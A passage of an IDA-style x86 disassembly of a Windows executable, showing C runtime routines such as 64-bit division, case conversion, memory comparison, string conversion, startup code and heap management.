mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DBF1: ; CODE XREF: sub_41DBD0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DC0D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DC0D: ; CODE XREF: sub_41DBD0+27j
or eax, eax
jnz short loc_41DC29
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DC6A
; ---------------------------------------------------------------------------
loc_41DC29: ; CODE XREF: sub_41DBD0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DC37: ; CODE XREF: sub_41DBD0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DC37
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DC65
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DC65
jb short loc_41DC66
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DC66
loc_41DC65: ; CODE XREF: sub_41DBD0+85j
; sub_41DBD0+8Bj
dec esi
loc_41DC66: ; CODE XREF: sub_41DBD0+8Dj
; sub_41DBD0+93j
xor edx, edx
mov eax, esi
loc_41DC6A: ; CODE XREF: sub_41DBD0+57j
dec edi
jnz short loc_41DC74
neg edx
neg eax
sbb edx, 0
loc_41DC74: ; CODE XREF: sub_41DBD0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DBD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DC7A proc near ; CODE XREF: sub_4176E9+BFp
; sub_4176E9+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4E15B0
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DCAE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DD15
loc_41DC96: ; CODE XREF: sub_41DC7A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DCA7
cmp cl, 7Ah
jg short loc_41DCA7
sub cl, 20h
mov [edx], cl
loc_41DCA7: ; CODE XREF: sub_41DC7A+21j
; sub_41DC7A+26j
inc edx
cmp [edx], bl
jnz short loc_41DC96
jmp short loc_41DD15
; ---------------------------------------------------------------------------
loc_41DCAE: ; CODE XREF: sub_41DC7A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call loc_4229BB
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DD07
push edi
call sub_41BBCB
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DD07
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4E15B0
call loc_4229BB
add esp, 20h
test eax, eax
jz short loc_41DD07
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C550
pop ecx
pop ecx
loc_41DD07: ; CODE XREF: sub_41DC7A+53j
; sub_41DC7A+61j ...
push [ebp+var_4]
call sub_41B961
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DD15: ; CODE XREF: sub_41DC7A+1Aj
; sub_41DC7A+32j
pop ebx
leave
retn
sub_41DC7A endp
; =============== S U B R O U T I N E =======================================
sub_41DD18 proc near ; CODE XREF: sub_4180E3+1A8p
arg_0 = dword ptr 4
cmp dword_44276C, 1
jle short loc_41DD2F
push 4
push [esp+4+arg_0]
call sub_41F37A
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DD2F: ; CODE XREF: sub_41DD18+7j
mov eax, [esp+arg_0]
mov ecx, off_442560
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DD18 endp
; =============== S U B R O U T I N E =======================================
sub_41DD40 proc near ; CODE XREF: sub_420375+76p
; sub_420375+88p ...
arg_0 = dword ptr 4
cmp dword_44276C, 1
jle short loc_41DD57
push 8
push [esp+4+arg_0]
call sub_41F37A
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DD57: ; CODE XREF: sub_41DD40+7j
mov eax, [esp+arg_0]
mov ecx, off_442560
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DD40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD70 proc near ; CODE XREF: sub_4184F4+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DDBC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DDBD
test eax, 1
jz short loc_41DD9D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DDEA
inc esi
inc edi
dec eax
jz short loc_41DDBA
loc_41DD9D: ; CODE XREF: sub_41DD70+20j
; sub_41DD70+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DDEA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DDEA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DD9D
loc_41DDBA: ; CODE XREF: sub_41DD70+2Bj
; sub_41DD70+84j
pop edi
pop esi
locret_41DDBC: ; CODE XREF: sub_41DD70+6j
retn
; ---------------------------------------------------------------------------
loc_41DDBD: ; CODE XREF: sub_41DD70+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DDF2
repe cmpsd
jz short loc_41DDF2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DDE5
cmp ch, dh
jnz short loc_41DDE5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DDE5
cmp ch, dh
loc_41DDE5: ; CODE XREF: sub_41DD70+63j
; sub_41DD70+67j ...
mov eax, 0
loc_41DDEA: ; CODE XREF: sub_41DD70+26j
; sub_41DD70+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DDF2: ; CODE XREF: sub_41DD70+55j
; sub_41DD70+59j
test eax, eax
jz short loc_41DDBA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DDE5
dec eax
jz short loc_41DE19
cmp dh, ch
jnz short loc_41DDE5
dec eax
jz short loc_41DE19
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DDE5
dec eax
loc_41DE19: ; CODE XREF: sub_41DD70+8Fj
; sub_41DD70+96j
pop edi
pop esi
retn
sub_41DD70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE1C proc near ; CODE XREF: sub_418814+6p
; sub_418832+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4E15B0, 0
push ebx
push esi
push edi
jnz short loc_41DE49
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41DEE2
cmp eax, 5Ah
jg loc_41DEE2
add eax, 20h
jmp loc_41DEE2
; ---------------------------------------------------------------------------
loc_41DE49: ; CODE XREF: sub_41DE1C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41DE7D
cmp dword_44276C, esi
jle short loc_41DE6B
push esi
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_41DE75
; ---------------------------------------------------------------------------
loc_41DE6B: ; CODE XREF: sub_41DE1C+42j
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, esi
loc_41DE75: ; CODE XREF: sub_41DE1C+4Dj
test eax, eax
jnz short loc_41DE7D
loc_41DE79: ; CODE XREF: sub_41DE1C+ADj
mov eax, ebx
jmp short loc_41DEE2
; ---------------------------------------------------------------------------
loc_41DE7D: ; CODE XREF: sub_41DE1C+3Aj
; sub_41DE1C+5Bj
mov edx, off_442560
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DEA1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41DEAA
; ---------------------------------------------------------------------------
loc_41DEA1: ; CODE XREF: sub_41DE1C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41DEAA: ; CODE XREF: sub_41DE1C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4E15B0
call loc_4229BB
add esp, 20h
test eax, eax
jz short loc_41DE79
cmp eax, esi
jnz short loc_41DED5
movzx eax, [ebp+var_4]
jmp short loc_41DEE2
; ---------------------------------------------------------------------------
loc_41DED5: ; CODE XREF: sub_41DE1C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41DEE2: ; CODE XREF: sub_41DE1C+16j
; sub_41DE1C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DE1C endp
; =============== S U B R O U T I N E =======================================
sub_41DEE7 proc near ; CODE XREF: sub_418E3D+ADp
; .nsp0:00419E71p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41DEFE
loc_41DEF4: ; CODE XREF: sub_41DEE7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41DEF4
loc_41DEFE: ; CODE XREF: sub_41DEE7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41DEE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DF04 proc near ; CODE XREF: sub_418E3D+7Fp
; sub_418E3D+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41DFD1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41DFFE
cmp dword_4E15B0, esi
jnz short loc_41DF55
cmp edi, esi
jbe loc_41DFFE
loc_41DF34: ; CODE XREF: sub_41DF04+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41DFFE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41DF34
jmp loc_41DFFE
; ---------------------------------------------------------------------------
loc_41DF55: ; CODE XREF: sub_41DF04+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427184
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4E15C0
call esi ; dword_427184
test eax, eax
jnz loc_41DFFD
call dword_42708C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41DF8F
loc_41DF80: ; CODE XREF: sub_41DF04+CBj
; sub_41DF04+F7j
mov dword_4E14F8, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DFFE
; ---------------------------------------------------------------------------
loc_41DF8F: ; CODE XREF: sub_41DF04+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41DF97: ; CODE XREF: sub_41DF04+B3j
mov cl, [eax]
test cl, cl
jz short loc_41DFB9
mov edx, off_442560
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DFAE
inc eax
loc_41DFAE: ; CODE XREF: sub_41DF04+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41DF97
loc_41DFB9: ; CODE XREF: sub_41DF04+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4E15C0
call esi ; dword_427184
test eax, eax
jnz short loc_41DFFE
jmp short loc_41DF80
; ---------------------------------------------------------------------------
loc_41DFD1: ; CODE XREF: sub_41DF04+Fj
cmp dword_4E15B0, esi
jnz short loc_41DFE4
push [ebp+arg_4]
call sub_41B890
pop ecx
jmp short loc_41DFFE
; ---------------------------------------------------------------------------
loc_41DFE4: ; CODE XREF: sub_41DF04+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4E15C0
call dword_427184 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41DF80
loc_41DFFD: ; CODE XREF: sub_41DF04+6Bj
dec eax
loc_41DFFE: ; CODE XREF: sub_41DF04+1Aj
; sub_41DF04+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DF04 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427720
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_4271B4 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4E1510, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4E150C, ecx
shl ecx, 8
add ecx, edx
mov dword_4E1508, ecx
shr eax, 10h
mov dword_4E1504, eax
xor esi, esi
push esi
call sub_41E32D
pop ecx
test eax, eax
jnz short loc_41E06F
push 1Ch
call sub_41E11E
pop ecx
loc_41E06F: ; CODE XREF: .nsp0:0041E065j
mov [ebp-4], esi
call loc_42321E
call near ptr 0B40000h
xchg eax, edx
mov dword_4E2B84, eax
call sub_4230EC
mov dword_4E1568, eax
call sub_422E9F
; ---------------------------------------------------------------------------
dd offset dword_4D50E8
align 2
dw 99E8h
dd 89FFFFDDh, 458DD075h, 59E850A4h, 8200721Fh, 4CE1E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 1F36E856h, 50E40072h, 0FE3184E8h, 0A04589FFh
dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h, 1FE85150h
dd 5900004Bh, 658BC359h, 9875FFE8h, 0FFDD79E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41E0F9 proc near ; CODE XREF: sub_41D6F2+16p
; sub_422563+4Dp ...
arg_0 = dword ptr 4
cmp dword_4E1570, 1
jnz short loc_41E107
call sub_4234AC
loc_41E107: ; CODE XREF: sub_41E0F9+7j
push [esp+arg_0]
call sub_4234E5
push 0FFh
call off_442550
pop ecx
pop ecx
retn
sub_41E0F9 endp
; =============== S U B R O U T I N E =======================================
sub_41E11E proc near ; CODE XREF: .nsp0:0041E069p
arg_0 = dword ptr 4
cmp dword_4E1570, 1
jnz short loc_41E12C
call sub_4234AC
loc_41E12C: ; CODE XREF: sub_41E11E+7j
push [esp+arg_0]
call sub_4234E5
pop ecx
push 0FFh
call dword_427068 ; ExitProcess
retn
sub_41E11E endp
; =============== S U B R O U T I N E =======================================
sub_41E142 proc near ; CODE XREF: sub_41B90B+2Ap
; sub_423896+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4E1920
jnb loc_41E1DC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4E1820h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E1DC
push edi
call sub_4237BE
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E1BB
cmp edi, 1
jz short loc_41E189
cmp edi, 2
jnz short loc_41E19F
loc_41E189: ; CODE XREF: sub_41E142+40j
push 2
call sub_4237BE
push 1
mov ebp, eax
call sub_4237BE
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E1BB
loc_41E19F: ; CODE XREF: sub_41E142+45j
push edi
call sub_4237BE
pop ecx
push eax
call dword_42706C ; CloseHandle
test eax, eax
jnz short loc_41E1BB
call dword_42708C ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41E1BD
; ---------------------------------------------------------------------------
loc_41E1BB: ; CODE XREF: sub_41E142+3Bj
; sub_41E142+5Bj ...
xor ebp, ebp
loc_41E1BD: ; CODE XREF: sub_41E142+77j
push edi
call sub_423744
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E1D8
push ebp
call sub_420244
pop ecx
jmp short loc_41E1ED
; ---------------------------------------------------------------------------
loc_41E1D8: ; CODE XREF: sub_41E142+8Bj
xor eax, eax
jmp short loc_41E1F0
; ---------------------------------------------------------------------------
loc_41E1DC: ; CODE XREF: sub_41E142+Ej
; sub_41E142+2Fj
and dword_4E14FC, 0
mov dword_4E14F8, 9
loc_41E1ED: ; CODE XREF: sub_41E142+94j
or eax, 0FFFFFFFFh
loc_41E1F0: ; CODE XREF: sub_41E142+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E142 endp
; =============== S U B R O U T I N E =======================================
sub_41E1F5 proc near ; CODE XREF: sub_41B90B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E21E
test al, 8
jz short loc_41E21E
push dword ptr [esi+8]
call sub_41B961
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E21E: ; CODE XREF: sub_41E1F5+Aj
; sub_41E1F5+Ej
pop esi
retn
sub_41E1F5 endp
; =============== S U B R O U T I N E =======================================
sub_41E220 proc near ; CODE XREF: sub_41E2C0+2Dp
; sub_41E2C0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E232
push esi
call sub_41E2C0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E232: ; CODE XREF: sub_41E220+7j
push esi
call sub_41E25B
test eax, eax
pop ecx
jz short loc_41E242
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E242: ; CODE XREF: sub_41E220+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E257
push dword ptr [esi+10h]
call sub_4237FB
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E257: ; CODE XREF: sub_41E220+26j
xor eax, eax
pop esi
retn
sub_41E220 endp
; =============== S U B R O U T I N E =======================================
sub_41E25B proc near ; CODE XREF: sub_41B90B+1Ap
; .nsp0:0041D8F4p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E2A8
test ax, 108h
jz short loc_41E2A8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E2A8
push edi
push eax
push dword ptr [esi+10h]
call sub_42280E
add esp, 0Ch
cmp eax, edi
jnz short loc_41E2A1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E2A8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E2A8
; ---------------------------------------------------------------------------
loc_41E2A1: ; CODE XREF: sub_41E25B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E2A8: ; CODE XREF: sub_41E25B+14j
; sub_41E25B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E25B endp
; =============== S U B R O U T I N E =======================================
sub_41E2B7 proc near ; CODE XREF: sub_422608p
push 1
call sub_41E2C0
pop ecx
retn
sub_41E2B7 endp
; =============== S U B R O U T I N E =======================================
sub_41E2C0 proc near ; CODE XREF: sub_41E220+Ap
; sub_41E2B7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4E2940, esi
jle short loc_41E31E
loc_41E2D1: ; CODE XREF: sub_41E2C0+5Cj
mov eax, dword_4E1924
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E315
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E315
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E2FB
push eax
call sub_41E220
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E315
inc ebx
jmp short loc_41E315
; ---------------------------------------------------------------------------
loc_41E2FB: ; CODE XREF: sub_41E2C0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E315
test cl, 2
jz short loc_41E315
push eax
call sub_41E220
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E315
or edi, eax
loc_41E315: ; CODE XREF: sub_41E2C0+1Bj
; sub_41E2C0+23j ...
inc esi
cmp esi, dword_4E2940
jl short loc_41E2D1
loc_41E31E: ; CODE XREF: sub_41E2C0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E329
mov eax, edi
loc_41E329: ; CODE XREF: sub_41E2C0+65j
pop edi
pop esi
pop ebx
retn
sub_41E2C0 endp
; =============== S U B R O U T I N E =======================================
sub_41E32D proc near ; CODE XREF: .nsp0:0041E05Dp
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4271BC ; HeapCreate
test eax, eax
mov dword_4E2B80, eax
jz short loc_41E362
call sub_41E369
test eax, eax
jnz short loc_41E365
push dword_4E2B80
call dword_4271B8 ; HeapDestroy
loc_41E362: ; CODE XREF: sub_41E32D+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E365: ; CODE XREF: sub_41E32D+27j
push 1
pop eax
retn
sub_41E32D endp
; =============== S U B R O U T I N E =======================================
sub_41E369 proc near ; CODE XREF: sub_41E32D+20p
push 140h
push 0
push dword_4E2B80
call dword_427148 ; RtlAllocateHeap
test eax, eax
mov dword_4E2B7C, eax
jnz short loc_41E386
retn
; ---------------------------------------------------------------------------
loc_41E386: ; CODE XREF: sub_41E369+1Aj
and dword_4E2B74, 0
and dword_4E2B78, 0
push 1
mov dword_4E2B70, eax
mov dword_4E2B68, 10h
pop eax
retn
sub_41E369 endp
; =============== S U B R O U T I N E =======================================
sub_41E3A7 proc near ; CODE XREF: sub_41B961+Ap
; sub_41BA78+3Dp ...
arg_0 = dword ptr 4
mov eax, dword_4E2B78
lea ecx, [eax+eax*4]
mov eax, dword_4E2B7C
lea ecx, [eax+ecx*4]
loc_41E3B7: ; CODE XREF: sub_41E3A7+26j
cmp eax, ecx
jnb short loc_41E3CF
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E3D1
add eax, 14h
jmp short loc_41E3B7
; ---------------------------------------------------------------------------
loc_41E3CF: ; CODE XREF: sub_41E3A7+12j
xor eax, eax
locret_41E3D1: ; CODE XREF: sub_41E3A7+21j
retn
sub_41E3A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E3D2 proc near ; CODE XREF: sub_41B961+16p
; sub_41BA78+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_41E498
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_41E42A
mov [ebp+arg_4], edi
loc_41E42A: ; CODE XREF: sub_41E3D2+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_41E47C
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_41E458
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_41E47C
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_41E47C
; ---------------------------------------------------------------------------
loc_41E458: ; CODE XREF: sub_41E3D2+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_41E47C
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_41E47C: ; CODE XREF: sub_41E3D2+60j
; sub_41E3D2+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_41E498: ; CODE XREF: sub_41E3D2+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_41E4A6
push 3Fh
pop edi
loc_41E4A6: ; CODE XREF: sub_41E3D2+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_41E555
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_41E4D1
mov [ebp+arg_4], edx
mov ecx, edx
loc_41E4D1: ; CODE XREF: sub_41E3D2+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_41E4E3
mov edi, edx
loc_41E4E3: ; CODE XREF: sub_41E3D2+10Dj
cmp ecx, edi
jz short loc_41E552
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_41E53A
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_41E516
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_41E53A
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_41E53A
; ---------------------------------------------------------------------------
loc_41E516: ; CODE XREF: sub_41E3D2+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_41E53A
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_41E53A: ; CODE XREF: sub_41E3D2+11Ej
; sub_41E3D2+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_41E552: ; CODE XREF: sub_41E3D2+113j
mov edx, [ebp+var_8]
loc_41E555: ; CODE XREF: sub_41E3D2+DDj
cmp [ebp+var_14], 0
jnz short loc_41E564
cmp [ebp+arg_4], edi
jz loc_41E5ED
loc_41E564: ; CODE XREF: sub_41E3D2+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E5ED
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E5C1
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E5B0
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E5B0: ; CODE XREF: sub_41E3D2+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_41E5EA
; ---------------------------------------------------------------------------
loc_41E5C1: ; CODE XREF: sub_41E3D2+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E5D7
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E5D7: ; CODE XREF: sub_41E3D2+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_41E5EA: ; CODE XREF: sub_41E3D2+1EDj
mov ebx, [ebp+var_C]
loc_41E5ED: ; CODE XREF: sub_41E3D2+18Cj
; sub_41E3D2+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_41E6F8
mov eax, dword_4E2B74
test eax, eax
jz loc_41E6EA
